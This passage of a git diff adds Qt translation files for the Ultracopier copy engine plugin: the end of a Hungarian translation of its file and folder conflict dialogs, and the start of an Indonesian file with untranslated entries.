+ <location filename="../../fileExistsDialog.ui" line="99"/>
+ <location filename="../../fileExistsDialog.ui" line="187"/>
+ <source>Modified</source>
+ <translation>Módosítva</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="116"/>
+ <location filename="../../fileExistsDialog.ui" line="204"/>
+ <source>File name</source>
+ <translation>Fájlnév</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="133"/>
+ <location filename="../../fileExistsDialog.ui" line="221"/>
+ <source>Folder</source>
+ <translation>Mappa</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="277"/>
+ <source>Suggest new &amp;name</source>
+ <translation>Új &amp;név ajánlása</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="288"/>
+ <source>&amp;Always perform this action</source>
+ <translation>&amp;Mindig hajtsa végre ezt a műveletet</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="346"/>
+ <location filename="../../fileExistsDialog.ui" line="349"/>
+ <source>Overwrite if modification date differs</source>
+ <translation>Felülír, ha a módosítás dátuma különbözik</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="354"/>
+ <location filename="../../fileExistsDialog.ui" line="357"/>
+ <source>Overwrite if older</source>
+ <translation>Felülír, ha régebbi</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="308"/>
+ <source>&amp;Rename</source>
+ <translation>&amp;Átnevez</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="315"/>
+ <source>&amp;Overwrite</source>
+ <translation>&amp;Felülír</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="325"/>
+ <source>&amp;Skip</source>
+ <translation>&amp;Kihagy</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="332"/>
+ <source>&amp;Cancel</source>
+ <translation>&amp;Mégse</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="341"/>
+ <source>Overwrite if newer</source>
+ <translation>Felülír, ha újabb</translation>
+ </message>
+</context>
+<context>
+ <name>fileIsSameDialog</name>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="40"/>
+ <source>Size</source>
+ <translation>Méret</translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="110"/>
+ <source>Modified</source>
+ <translation>Módosítva</translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="70"/>
+ <source>File name</source>
+ <translation>Fájlnév</translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="14"/>
+ <source>The source and destination are same</source>
+ <translation>A forrás és a cél megegyezik</translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="90"/>
+ <source>Folder</source>
+ <translation>Mappa</translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="159"/>
+ <source>Suggest new &amp;name</source>
+ <translation>Új &amp;név javasolása</translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="170"/>
+ <source>&amp;Always perform this action</source>
+ <translation>&amp;Mindig hajtsa végre ezt a műveletet</translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="190"/>
+ <source>&amp;Rename</source>
+ <translation>&amp;Átnevez</translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="197"/>
+ <source>&amp;Skip</source>
+ <translation>&amp;Kihagy</translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="204"/>
+ <source>&amp;Cancel</source>
+ <translation>M&amp;égse</translation>
+ </message>
+</context>
+<context>
+ <name>folderExistsDialog</name>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="34"/>
+ <source>Source</source>
+ <translation>Forrás</translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="50"/>
+ <source>Destination</source>
+ <translation>Cél</translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="82"/>
+ <location filename="../../folderExistsDialog.ui" line="150"/>
+ <source>Modified</source>
+ <translation>Módosítva</translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="99"/>
+ <location filename="../../folderExistsDialog.ui" line="160"/>
+ <source>Folder name</source>
+ <translation>Mappa neve</translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="227"/>
+ <source>Suggest new &amp;name</source>
+ <translation>Új &amp;név javasolása</translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="14"/>
+ <source>The source and destination is identical</source>
+ <translation>A forrás és a cél megegyezik</translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="116"/>
+ <location filename="../../folderExistsDialog.ui" line="184"/>
+ <source>Folder</source>
+ <translation>Mappa</translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="238"/>
+ <source>&amp;Always perform this action</source>
+ <translation>&amp;Mindig hajtsa végre ezt a műveletet</translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="245"/>
+ <source>&amp;Rename</source>
+ <translation>&amp;Átnevez</translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="252"/>
+ <source>Merge</source>
+ <translation>Összeolvaszt</translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="259"/>
+ <source>Skip</source>
+ <translation>Kihagy</translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="266"/>
+ <source>&amp;Cancel</source>
+ <translation>M&amp;égse</translation>
+ </message>
+</context>
+</TS>
diff --git a/plugins/CopyEngine/Ultracopier/Languages/id/translation.ts b/plugins/CopyEngine/Ultracopier/Languages/id/translation.ts
new file mode 100644
index 0000000..3362659
--- /dev/null
+++ b/plugins/CopyEngine/Ultracopier/Languages/id/translation.ts
@@ -0,0 +1,1289 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0">
+<context>
+ <name>AvancedQFile</name>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="26"/>
+ <location filename="../../AvancedQFile.cpp" line="57"/>
+ <location filename="../../AvancedQFile.cpp" line="88"/>
+ <source>Not supported on this platform</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="40"/>
+ <source>Last modified date is wrong</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="71"/>
+ <source>Last access date is wrong</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="121"/>
+ <source>Unknown error: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="187"/>
+ <source>Unknown error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="133"/>
+ <source>Path conversion error</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>CopyEngine</name>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="429"/>
+ <location filename="../../CopyEngine.cpp" line="451"/>
+ <source>The engine is forced to move, you can&apos;t copy with it</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="462"/>
+ <location filename="../../CopyEngine.cpp" line="484"/>
+ <source>The engine is forced to copy, you can&apos;t move with it</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="508"/>
+ <source>Destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="508"/>
+ <source>Use the actual destination &quot;%1&quot;?</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="717"/>
+ <source>The mode has been forced previously. This is an internal error, please report it</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1047"/>
+ <location filename="../../CopyEngine.cpp" line="1050"/>
+ <location filename="../../CopyEngine.cpp" line="1055"/>
+ <location filename="../../CopyEngine.cpp" line="1059"/>
+ <source>Ask</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1048"/>
+ <location filename="../../CopyEngine.cpp" line="1052"/>
+ <location filename="../../CopyEngine.cpp" line="1056"/>
+ <location filename="../../CopyEngine.cpp" line="1060"/>
+ <source>Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1051"/>
+ <source>Merge</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1053"/>
+ <location filename="../../CopyEngine.cpp" line="1065"/>
+ <source>Rename</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1057"/>
+ <source>Put at the end</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1061"/>
+ <source>Overwrite</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1062"/>
+ <source>Overwrite if different</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1063"/>
+ <source>Overwrite if newer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1064"/>
+ <source>Overwrite if older</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1067"/>
+ <source>Automatic</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1068"/>
+ <source>Sequential</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1069"/>
+ <source>Parallel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1170"/>
+ <source>Options error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1170"/>
+ <source>Options engine is not loaded. Unable to access the filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>CopyEngineFactory</name>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="412"/>
+ <location filename="../../CopyEngineFactory.cpp" line="415"/>
+ <location filename="../../CopyEngineFactory.cpp" line="420"/>
+ <location filename="../../CopyEngineFactory.cpp" line="424"/>
+ <source>Ask</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="413"/>
+ <location filename="../../CopyEngineFactory.cpp" line="417"/>
+ <location filename="../../CopyEngineFactory.cpp" line="421"/>
+ <location filename="../../CopyEngineFactory.cpp" line="425"/>
+ <source>Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="416"/>
+ <source>Merge</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="418"/>
+ <location filename="../../CopyEngineFactory.cpp" line="430"/>
+ <source>Rename</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="422"/>
+ <source>Put at the end</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="426"/>
+ <source>Overwrite</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="427"/>
+ <source>Overwrite if different</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="428"/>
+ <source>Overwrite if newer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="429"/>
+ <source>Overwrite if older</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="432"/>
+ <source>Automatic</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="433"/>
+ <source>Sequential</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="434"/>
+ <source>Parallel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="485"/>
+ <location filename="../../CopyEngineFactory.cpp" line="524"/>
+ <source>Options error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="485"/>
+ <source>Options engine is not loaded. Unable to access the filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="524"/>
+ <source>Options engine is not loaded, can&apos;t access to the filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>DiskSpace</name>
+ <message>
+ <location filename="../../DiskSpace.ui" line="14"/>
+ <source>Disk space</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.ui" line="24"/>
+ <source>You need more space on this drive to finish this transfer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.ui" line="49"/>
+ <source>Continue</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.ui" line="56"/>
+ <source>Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.cpp" line="23"/>
+ <source>Drives %1 have %2 available but need %3</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>FileErrorDialog</name>
+ <message>
+ <location filename="../../FileErrorDialog.cpp" line="54"/>
+ <source>Error on folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileErrorDialog.cpp" line="57"/>
+ <source>Folder name</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>FileExistsDialog</name>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="131"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="141"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="226"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="226"/>
+ <source>Try rename with using special characters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>FileIsSameDialog</name>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="105"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="115"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="182"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="182"/>
+ <source>Try rename with using special characters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>FilterRules</name>
+ <message>
+ <location filename="../../FilterRules.ui" line="33"/>
+ <source>Search:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="43"/>
+ <source>Search type:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="51"/>
+ <source>Raw text</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="56"/>
+ <source>Simplified regex</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="61"/>
+ <source>Perl&apos;s regex</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="69"/>
+ <source>Apply on:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="77"/>
+ <source>File</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="82"/>
+ <source>Folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="87"/>
+ <source>File and folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="125"/>
+ <source>The test string matches with the regex</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="102"/>
+ <source>Checking</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="115"/>
+ <source>Test string:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="17"/>
+ <source>Filters dialog</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="95"/>
+ <source>Whole string must match</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="108"/>
+ <source>The regex is valid</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>Filters</name>
+ <message>
+ <location filename="../../Filters.ui" line="14"/>
+ <source>Filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.ui" line="30"/>
+ <source>Exclusion filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.ui" line="93"/>
+ <source>Inclusion filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.ui" line="105"/>
+ <source>None = Include all</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="92"/>
+ <location filename="../../Filters.cpp" line="130"/>
+ <source>Raw text</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="95"/>
+ <location filename="../../Filters.cpp" line="133"/>
+ <source>Simplified regex</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="98"/>
+ <location filename="../../Filters.cpp" line="136"/>
+ <source>Perl&apos;s regex</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="106"/>
+ <location filename="../../Filters.cpp" line="144"/>
+ <source>Only on file</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="109"/>
+ <location filename="../../Filters.cpp" line="147"/>
+ <source>Only on folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="115"/>
+ <location filename="../../Filters.cpp" line="153"/>
+ <location filename="../../Filters.cpp" line="215"/>
+ <location filename="../../Filters.cpp" line="254"/>
+ <source>Full match</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>FolderExistsDialog</name>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="51"/>
+ <source>Folder already exists</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="116"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="126"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="187"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="187"/>
+ <source>Try rename with using special characters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>ListThread</name>
+ <message>
+ <location filename="../../ListThread.cpp" line="1447"/>
+ <location filename="../../ListThread.cpp" line="2369"/>
+ <source>Unable do to move or copy item into wrong forced mode: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1454"/>
+ <location filename="../../ListThread.cpp" line="2376"/>
+ <source>Unable to save the transfer list: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1470"/>
+ <source>Problem reading file, or file-size is 0</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1477"/>
+ <source>Wrong header: &quot;%1&quot;</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1486"/>
+ <source>The transfer list is in mixed mode, but this instance is not in this mode</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1495"/>
+ <source>The transfer list is in copy mode, but this instance is not in this mode</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1501"/>
+ <source>The transfer list is in move mode, but this instance is not in this mode</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1557"/>
+ <source>Some errors have been found during the line parsing</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1565"/>
+ <source>Unable to open the transfer list: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>MkPath</name>
+ <message>
+ <location filename="../../MkPath.cpp" line="142"/>
+ <source>Unable to create the folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="155"/>
+ <source>The source folder don&apos;t exists</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="183"/>
+ <source>Unable to temporary rename the folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="206"/>
+ <source>Unable to do the final real move the folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="232"/>
+ <source>Unable to move the folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="93"/>
+ <location filename="../../MkPath.cpp" line="275"/>
+ <source>Unable to remove</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>ReadThread</name>
+ <message>
+ <location filename="../../ReadThread.cpp" line="55"/>
+ <source>Internal error, please report it!</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ReadThread.cpp" line="184"/>
+ <source>Internal error reading the source file:block size out of range</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ReadThread.cpp" line="192"/>
+ <location filename="../../ReadThread.cpp" line="408"/>
+ <source>Unable to read the source file: </source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ReadThread.cpp" line="233"/>
+ <location filename="../../ReadThread.cpp" line="456"/>
+ <source>File truncated during the read, possible data change</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>RenamingRules</name>
+ <message>
+ <location filename="../../RenamingRules.ui" line="26"/>
+ <source>First renaming</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="32"/>
+ <source>%name% - copy</source>
+ <extracomment>%name% should not be translated</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="39"/>
+ <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
+ <extracomment> should not be translated</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="49"/>
+ <source>Second renaming</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="55"/>
+ <source>%name% - copy (%number%)</source>
+ <extracomment>%name%, %number% should not be translated</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="62"/>
+ <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;p&gt;&lt;span style=&quot; font-weight:600;&quot;&gt;%number%&lt;/span&gt; for the extra number&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
+ <extracomment>%name%, %number% should not be translated</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.cpp" line="39"/>
+ <location filename="../../RenamingRules.cpp" line="62"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.cpp" line="43"/>
+ <location filename="../../RenamingRules.cpp" line="73"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="14"/>
+ <source>Renaming rules</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>ScanFileOrFolder</name>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="265"/>
+ <source>Blacklisted folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="327"/>
+ <location filename="../../ScanFileOrFolder.cpp" line="393"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="337"/>
+ <location filename="../../ScanFileOrFolder.cpp" line="403"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="441"/>
+ <source>This is not a folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="443"/>
+ <source>The folder does exists</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="445"/>
+ <source>The folder is not readable</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="456"/>
+ <source>Problem with name encoding</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>TransferThread</name>
+ <message>
+ <location filename="../../TransferThread.cpp" line="235"/>
+ <location filename="../../TransferThread.cpp" line="663"/>
+ <location filename="../../TransferThread.cpp" line="735"/>
+ <location filename="../../TransferThread.cpp" line="1303"/>
+ <source>File not found</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="336"/>
+ <location filename="../../TransferThread.cpp" line="353"/>
+ <source>Wrong modification date or unable to get it, you can disable time transfer to do it</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="408"/>
+ <location filename="../../TransferThread.cpp" line="431"/>
+ <source>Internal error: Already opening</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="572"/>
+ <source>Drive %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="574"/>
+ <source>Unknown folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="578"/>
+ <source>root</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="631"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="641"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="701"/>
+ <location filename="../../TransferThread.cpp" line="816"/>
+ <source>The source file doesn&apos;t exist</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="741"/>
+ <location filename="../../TransferThread.cpp" line="828"/>
+ <source>Unable to do the folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="777"/>
+ <source>The source doesn&apos;t exist</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="822"/>
+ <source>Another file exists at same place</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1124"/>
+ <source>The checksums do not match</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1213"/>
+ <source>Internal error: The destination is not closed</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1227"/>
+ <source>Internal error: The size transfered doesn&apos;t match</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1238"/>
+ <source>Internal error: The buffer is not empty</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1303"/>
